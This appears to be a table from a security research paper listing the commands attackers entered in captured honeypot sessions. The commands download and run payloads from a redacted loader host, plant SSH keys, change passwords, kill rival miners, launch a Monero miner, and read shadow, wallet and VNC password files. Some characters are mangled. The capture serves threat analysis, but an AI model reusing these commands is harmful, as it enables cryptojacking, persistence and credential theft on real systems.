1	cd /tmp	uname -a	mkdir -p /root/.ssh/
2	wget http://<*loader-IP*>/z.sh	cat /etc/passwd	echo ssh-rsa <key> » /root/.ssh//authorized_keys
3	curl -O http://<*loader-IP*>/z.sh	cat /proc/cpuinfo | grep processor | wc -l	echo '<cmd7uname>'
4	chmod +x z.sh	echo -e ÖNdE3wCObh8ni0b	uname -a
5	./z.sh	0NdE3wCObh8ni0b	echo '</cmd7uname><cmd7uptime>'
6	tftp <*loader-IP*> -c get tz.sh	echo -e übuntu	uptime
7	chmod +x tz.sh	0NdE3wCObh8ni0b	echo '</cmd7uptime><cmd7w>'
8	./tz.sh	0NdE3wCObh8ni0b | passwd	w
9	tftp -r tz2.sh -g <*loader-IP*>	echo -e übuntu¨	echo '</cmd7w><cmd7who>'
10	chmod +x tz2.sh	0NdE3wCObh8ni0b	who
11	./tz2.sh	0NdE3wCObh8ni0b¨ passwd	echo '</cmd7who><cmd7last>'
12	ftpget -v -u <loader-user> -p <loader-password> -P 21 <*loader-IP*> z1.sh z1.sh	echo -e ÖNdE3wCObh8ni0b	last
13	./z1.sh	0NdE3wCObh8ni0b | passwd	echo '</cmd7last><cmd7lastlog>'
14		rm -rf * kill -9 $(ps aux | grep xrx | awk '{print $2}')	lastlog
15		kill -9 $(ps aux | grep biden1 | awk '{print $2}')	echo '</cmd7lastlog><cmd7passwd>'
16		kill -9 $(ps aux | grep biden1 | awk '{print $2}')	cat /etc/passwd
17		kill -9 $(ps aux | grep zzh | awk '{print $2}')	echo '</cmd7passwd><cmd7shadow>'
18		kill -9 $(ps aux | grep arx645 | awk '{print $2}')	sudo -n cat /etc/shadow
19		kill -9 $(ps aux | grep watchdog | awk '{print $2}')	echo '</cmd7shadow><cmd7authkey>'
20		kill -9 $(ps aux | grep watchdog | awk '{print $2}')	cat /root/.ssh//authorized_keys
21		ps aux | grep xrx | awk {print $2}	echo '</cmd7authkey><cmd7lshome>'
22		ps aux | grep biden1 | awk {print $2}	ls -la /home
23		ps aux | grep biden1 | awk {print $2}	echo '</cmd7lshome><cmd7psfaux>'
24		ps aux | grep zzh | awk {print $2}	ps -faux
25		ps aux | grep arx645 | awk {print $2}	echo '</cmd7psfaux><cmd7netstat>'
26		ps aux | grep watchdog | awk {print $2}	netstat -npta
27		ps aux | grep watchdog | awk {print $2}	echo '</cmd7netstat><cmd7arpan>'
28		cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd /	/usr/sbin/arp -an
29		rm -rf kthreads	echo '</cmd7arpan><cmd7ifconfig>'

30	wget -q http://<*loader-IP*>/x86_64/watchdogg || curl -s -o watchdogg <*loader-IP*>/x86_64/watchdogg	/usr/sbin/ifconfig
31	chmod 777 watchdogg	echo '</cmd7ifconfig><cmd7localconf>'
32	chmod +x watchdogg	cat /home/ethos/local.conf
33	nohup ./watchdogg -o pool.hashvault.pro:80 -u <crypto_key> -p Weak -k –cpu-max-threads-hint=75 –tls –tls-fingerprint=<fingerprint> –huge-pages-jit –asm=auto –http-host=127.0.0.1 –http-port=0 –http-access-token=null –api-id=null –api-worker-id=null –randomx-init=-1 –background </dev/null >/dev/null 2>&1 &	echo '</cmd7localconf><cmd7remoteconf>'
34	cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd /	cat /home/ethos/remote.conf
35	rm -rf watchdog*	echo '</cmd7remoteconf><cmd7rclocal>'
36	rm -rf watchdog	cat /etc/rc.local
37	rm -rf kthread	echo '</cmd7rclocal><cmd7claymorestub>'
38	rm -rf kthread*	cat /home/ethos/claymore.stub.conf
39	wget -q http://<*loader-IP*>/x86_64/kthread || curl -s -o kthread <*loader-IP*>/x86_64/kthread || tftp <*loader-IP*> -c get /x86_64/kthread || tftp -r /x86_64/kthread -g <*loader-IP*> || ftpget -v -u <loader-user> -p <loader-password> -P 21 <*loader-IP*> -c get /x86_64/kthread	cat /hive-config/rig.conf
40	chmod 777 kthread	cat /hive-config/wallet.conf
41	chmod +x kthread	cat /hive-config/vnc-password.txt
42	nohup ./kthread </dev/null >/dev/null 2>&1 &	echo '</cmd7claymorestub><cmd7claymorezstub>'
43	cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd /	cat /home/ethos/claymore-zcash.stub.conf
44	rm -rf watchdogs*	echo '</cmd7claymorezstub><cmd7sgminerconf>'
45	wget http://<*loader-IP*>/x86_64/watchdogs	cat /var/run/ethos/sgminer.conf
46	chmod 777 watchdogs	echo '</cmd7sgminerconf><cmd7iptables>'
47	nohup ./watchdogs ssh euro watchdog kthread </dev/null >/dev/null 2>&1 &	sudo -n iptables -S && sudo -n iptables -t nat -S
48		echo '</cmd7iptables><cmdcrontab>'

49	crontab -l
50	echo ’</cmdcrontab>’
51	exit

Table 2: Case Study Session Inputs